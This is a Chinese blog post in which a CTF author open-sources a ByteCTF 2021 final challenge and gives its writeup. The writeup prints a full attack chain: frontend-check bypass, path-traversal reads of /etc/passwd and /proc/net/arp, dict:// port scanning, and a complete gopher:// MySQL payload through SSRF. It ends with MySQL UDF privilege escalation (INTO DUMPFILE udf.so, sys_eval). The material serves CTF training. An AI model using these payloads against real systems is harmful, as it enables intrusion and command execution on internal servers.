这道题实际上在初赛前就出好了,但是没想到被选到了线下决赛了,正好前几天决赛打完了,所以就顺便开源了这道题目,顺便来水一篇文章,证明一下我这个博客还活着。

部署靶场

靶场目前已经开源了,项目地址为:https://github.com/sqlsec/ByteCTF2021-Final-SEO

因为使用 docker-compose 部署的,所以简单几条命令就可跑起来了:

git clone https://github.com/sqlsec/ByteCTF2021-Final-SEO.git
cd ByteCTF2021-Final-SEO/Dockerfile
docker-compose up -d

默认占用外网的 80 端口,内网的网段为 172.73.23.1/24,如有冲突请自行更改。

跑起来的界面如下:

攻击思路

  1. 找到含义 SSRF 的漏洞接口,绕过前端校验,可以直接扫描探测内网信息。
  2. 为了快速定位内网的网段,网站还预留的文件下载漏洞,可以通过文件下载 hosts 之类的文件,拿到当前网段的信息。
  3. 使用 SSRF 漏洞的接口,通过 gopher 协议攻击内网的 MySQL 服务器,使用 UDF 提权可以拿下内网 MySQL 权限
  4. 内网 MySQL 根目录下存放着 flag,直接 UDF 命令执行读取即可

题目亮点

  1. 前端功能场景尽量模拟了真实的 SSRF 漏洞情况
  2. 通过 JS 去请求 API 接口,比较符合目前主流的开发场景
  3. 多个没有 SSRF 漏洞的干扰接口,需要选手耐心去过一些这些接口
  4. 配合文件下载漏洞可以快速定位内网服务器的当前网段
  5. 考察选手 SSRF 在内网中的实际信息收集,需要选手自己去找到内网的 MySQL 资产
  6. 考察选手 MySQL 的攻击思路,这里只要考擦使用 SSRF 进行内网 MySQL 的 UDF 提权
  7. Docker-compose 搭建,比赛的时候维护和修复会比较方便

Writeup

一不小心吹得有点多了,直接丢 WP 吧:

1. 寻找存在漏洞的接口

估计设置了一些干扰的接口,贴近真实场景,毕竟真实场景中哪有这么多漏洞呀:

  • /api/alexa.php
POST /api/alexa.php HTTP/1.1

domain=www.sqlsec.com

返回包:

{"rank":533579,"cate":"\u79d1\u6280\u6570\u7801","res":"d3d3LnNxbHNlYy5jb20="}
  • /api/social.php
POST /api/social.php HTTP/1.1

domain=www.sqlsec.com

返回包:

{"date":"6\u5e746\u670820\u5929","mail":"[email protected]"}
  • /api/icp.php
POST /api/icp.php HTTP/1.1

domain=www.sqlsec.com

返回包:

{"icp":"\u9c81ICP\u590799918846\u53f7-3","name":"\u738b\u78ca","kind":"\u4e2a\u4eba","res":"d3d3LnNxbHNlYy5jb20="}
  • /api/icp.php
POST /api/icp.php HTTP/1.1

domain=www.sqlsec.com

返回包:

{"icp":"\u9c81ICP\u590799918846\u53f7-3","name":"\u738b\u78ca","kind":"\u4e2a\u4eba","res":"d3d3LnNxbHNlYy5jb20="}
  • /api/speed.php
POST /api/speed.php HTTP/1.1

domain=www.sqlsec.com

返回包:

{"speed":67,"score":0.6,"res":"d3d3LnNxbHNlYy5jb20="}
  • /api/random.php
GET /api/random.php?domain=www.sqlsec.com HTTP/1.1

返回包:

{"domain1":"w2cf.bytedance.com","speed1":83,"score1":"\u5feb","style1":"text-success","domain2":"nyv.bytedance.com","speed2":69,"score2":"\u4e2d","style2":"text-info","domain3":"t0zj.bytedance.com","speed3":93,"score3":"\u5feb","style3":"text-success","domain4":"qj1.bytedance.com","speed4":63,"score4":"\u4e2d","style4":"text-info","domain5":"29.bytedance.com","speed5":33,"score5":"\u826f","style5":"text-warning","res":"d3d3LnNxbHNlYy5jb20="}

…… 还有一些干扰参数接口不一一列举了。

真正存在漏洞的接口为:

POST /api/ip.php HTTP/1.1
Host: 10.85.113.212
Content-Length: 21

domain=www.sqlsec.com

返回包:

{"ip":"domain","title":"\u56fd\u5149","res":"{curl 请求返回的原始数据内容的 Base64 编码}"
}

实际上其他接口的数据都是随机传递的,但是通过网站前台的功能:

可以看到正常获取了网站标题和 IP 地址,所以选手根据这个特征,在这个页面去抓包应该也可以很容易找到存在 SSRF 漏洞的接口的。

2. 验证是否存在 SSRF

这个接口的域名存在格式校验:

实际上这个只是浏览器前端 JS 校验,所以直接抓包在 BP 下面发 payload 即可绕过。

外网正常请求

内网正常请求

3. 获取当前网段信息

file 协议探测失败

直接通过 domain=file:///etc/hosts file 协议去请求的话,并拿不到结果(后端过滤了 file 协议):

发现任意文件下载漏洞

所以得去网站前台找漏洞,从前台发现「查看词库」会触发词库的下载

找到下载的接口:

GET /api/word.php?src=/etc/passwd HTTP/1.1

发现直接通过 /etc/passwd这种全路径并不难直接下载文件(后端使用目录拼接了)

但是可以通过../../../../../etc/passwd这种路径穿越的格式下载服务器上任意文件:

读取文件判断内网网段

常规思路

通过 /etc/hosts 文件, 可以判断当前的内网网段为:172.73.23.1/24

捷径

也可以通过 proc/net/arp 文件,判断当前的内网的网关为:172.73.23.1 ,而且可以直接发现内网中的另一个 IP 资产为:172.73.23.100

这样就省去一个个探测消耗的时间了。

4. 内网资产发现

内网常见可探测的端口有:21、22、23、80、3306、6379、8080 等,通过上面知道内网的网段为:172.73.23.1/24,那么下面使用 SSRF 的漏洞接口,配合 dict 协议来对内网资产进行下资产探测:

发现内网资产:172.73.23.100 开放着 3306 端口,接下来重点是使用 SSRF 去攻击这个 MySQL 服务。

5. MySQL 信息收集

判断 MySQL 是否设置密码

mysql -uroot -h 127.0.0.1 -e "select user(),version();"

本地 tcpdump 监听拿到传输数据包:

转换为原始的数据流,再转换为 goher 协议如下:

gopher://172.73.23.100:3306/_%a1%00%00%01%85%a2%3f%00%00%00%00%01%08%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%64%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%03%35%30%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%36%2e%35%31%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%18%00%00%00%03%73%65%6c%65%63%74%20%75%73%65%72%28%29%2c%76%65%72%73%69%6f%6e%28%29%01%00%00%00%01

URL 二次编码后如下:

gopher://172.73.23.100:3306/_%25a1%2500%2500%2501%2585%25a2%253f%2500%2500%2500%2500%2501%2508%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2564%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2503%2535%2530%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2536%252e%2535%2531%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2521%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2540%2540%2576%2565%2572%2573%2569%256f%256e%255f%2563%256f%256d%256d%2565%256e%2574%2520%256c%2569%256d%2569%2574%2520%2531%2518%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2575%2573%2565%2572%2528%2529%252c%2576%2565%2572%2573%2569%256f%256e%2528%2529%2501%2500%2500%2500%2501

成功拿到了当前的用户和版本信息:

证明内网的 MySQL 是没有密码的。

寻找 MySQL 插件路径

同理寻找 MySQL 的插件目录:

mysql -uroot -h127.0.0.1  -e "show variables like 
'%plugin%';"

拿到插件目录为:

/usr/lib/mysql/plugin/

6. SSRF 攻击 MySQL

写入 udf.so 到插件目录下

通过 UDF 辅助提权 快速 copy payload 本地进行流量复现,构造最终的 payload 进行插件写入:

mysql -uroot -h127.0.0.1  -e "SELECT 0x7f454c4602010100000000000000000003003e0....0000001815200000...0000 INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';"

创建自定义函数

mysql -uroot -h127.0.0.1 -e "CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';"

这个创建函数实际上没有响应,但是实际上已经创建成功了。

通过 udf.so 执行系统命令

mysql -uroot -h127.0.0.1  -e "select sys_eval('cat /flag');"

成功拿到 flag,少个了 },不过无伤大雅。

结尾总结

最近把困扰我几个月的双屏笔记本的触控板黑苹果驱动给解决了,没想到我也是可以改底层驱动的人了,另外 LOLM 也冲到了钻石段位,再加上平时工作任务繁忙,所以博客咕咕咕有一段时间了,准备最近慢慢调整状态,重新记录维护下自己的博客。

支持一下

本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN 费用等)

微信
支付宝

没想到文章加入打赏列表没几天 就有热心网友打赏了 于是国光我用 Bootstrap 重写了一个页面用以感谢支持我的朋友,详情请看 打赏列表 | 国光